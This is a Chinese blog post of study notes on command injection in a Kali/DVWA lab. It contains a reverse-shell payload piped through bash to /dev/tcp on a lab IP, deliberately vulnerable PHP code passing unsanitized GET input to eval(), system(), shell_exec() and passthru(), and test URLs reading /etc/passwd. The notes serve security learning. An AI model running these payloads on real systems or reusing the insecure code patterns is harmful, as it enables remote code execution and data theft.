首页 > 其他分享 >kali 漏洞篇-命令注入 学习笔记

kali 漏洞篇-命令注入 学习笔记

时间:2022-10-27 14:15:06浏览次数:45  
标签:函数 exec E5% kali cmd E6% 笔记 漏洞 command

反弹shell

在kali上使用nc监听端口 nc -lvnp 5555 ,在dvwa web页面输入攻击payload : 

127.0.0.1|bash -i >& /dev/tcp/172.16.1.2/5555 0>&1

 

命令注入常见函数

eval()函数造成的命令注入漏洞

1、函数用法
eval(phpcode)
Phpcode 规定要计算的php代码。通常用分号结束每句代码的执行。
2、环境源码:

<?php
$var = "var";
if(isset($_GET["name"])){
    $arg = $_GET["name"];
    eval("\$var=$arg;");
    echo "\$var = ".$var;
}

?>
构造语句:

name=phpinfo()

测试效果: http://172.16.3.186/eval.php?name=phpinfo()

system()函数造成的漏洞

1、函数用法:
System(string command,int &return_var)
Command 要执行的命令
Return_var 存放命令的执行后的状态值
2、环境源码:

<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){
    echo system("dir".$cmd);
}
?>
构造语句:
Cmd=| /etc/passwd

测试:http://172.16.3.186/system.php?cmd=|cat%20%20/etc/passwd

shell_exec()函数造成的漏洞

1、函数用法:
shell_exec(string command)
command 要执行的命令
2、环境源码:

<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){
    echo "<h3>";
    echo shell_exec("dir".$cmd);
    echo "<h3>";
}
?>
4、 测试:
构造语句: | whoami

测试:http://172.16.3.186/shell_exec.php?cmd=|whoami

passthru()函数造成的漏洞

1、函数用法:
void passthru (string command, int &return_var)
command 要执行的命令
return_var 存放执行命令后的状态值

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。
2、环境源码:

<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){

    echo passthru($cmd);
}
?>
3、测试
构造语句 cmd=whoami

 http://172.16.3.186/passthru.php?cmd=whoami

 

  

学习内容均参考Farmsec:http://book.fsec.io/201-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E4%B8%8E%E5%B7%A5%E5%85%B7/201-A-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86/201-A9-%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5.html

 

标签:函数,exec,E5%,kali,cmd,E6%,笔记,漏洞,command
From: https://www.cnblogs.com/Cong0ks/p/16831991.html

相关文章

  • 恢复训练——STL笔记
    \(set\)小结\(set<type>s:\)定义一个集合\(s\);\(s.clear():\)清空集合\(s\)\(s.insert(val):\)往集合\(s\)中插入一个元素\(val\)\(s.erase(val):\)从......
  • 面向对象程序设计笔记(c++)
    时间:2019/5/21学习要知其然,也要知其所以然。第一章对C的补充1.C++的输入输出2用const定义常变量3重载4引用5内置函数6作用域运算符7字符串变量8动态分配和撤消内存的运算符......
  • 天池:铝型材表面瑕疵识别笔记
    内容时间:9月18日实验结果使用Kaggle猫狗分类的代码,即使用三个深度学习网络ResNet50,InceptionV3,Xception提取图片特征,然后使用神经网络DNN分类,验证集显示过拟合。本地精......
  • 天池:零样本目标识别新手笔记
    2018之江杯全球人工智能大赛-零样本图像目标识别简单数据分析jupyter:​​github地址​​数据预处理将label_list和class_wordembeddings合并,处理后结果如​​标签\t特征​​......
  • [转]winform继承窗体,无法修改父窗体控件问题处理笔记
    问题描述:一个窗体集成父窗体,发现无法直接修改父窗体的控件,比如修改大小等,父窗体控件已经设置为public,如果做成一个dll被引用无此问题 特征:不禁使父窗体控件,就算新加一......
  • 狂神说学习笔记:Docker进阶-Docker Compose
    DockerComposehttps://docs.docker.com/compose/简介Composeisatoolfordefiningandrunningmulti-containerDockerapplications.WithCompose,youuseaY......
  • C#笔记 其三
    自定义集合集合接口IList<T>列表关键词:变长数组、有序集合、任意访问、索引常用方法:list.Add(T);list.Remove();list.RemoveAt(int);list.Sort();list.Sort(ICo......
  • C#笔记 其一
    类类的声明和实例化classA{}//anotherfileF(){Aa=newA();//实例化类,new<类名>(实例化参数)Aaa;aa=newA();//先声明后实例化同样可行......
  • C#笔记(输入输出、格式化、注释)
    输入输出ConsoleKeyInfoc;do{c=Console.ReadKey();//读取按键}while(c.Key!=ConsoleKey.Escape);//等待输入Esc键strings=Console.ReadLine();i......
  • kali挂代理
    kali挂代理目录kali挂代理我这个方法需要本机已经挂了代理,然后kali才能挂代理。(1)本机挂代理。(自己去搜索,不方便传播)(2)配置kali上的设置(3)本机IP查看(4)保存退出并验证是......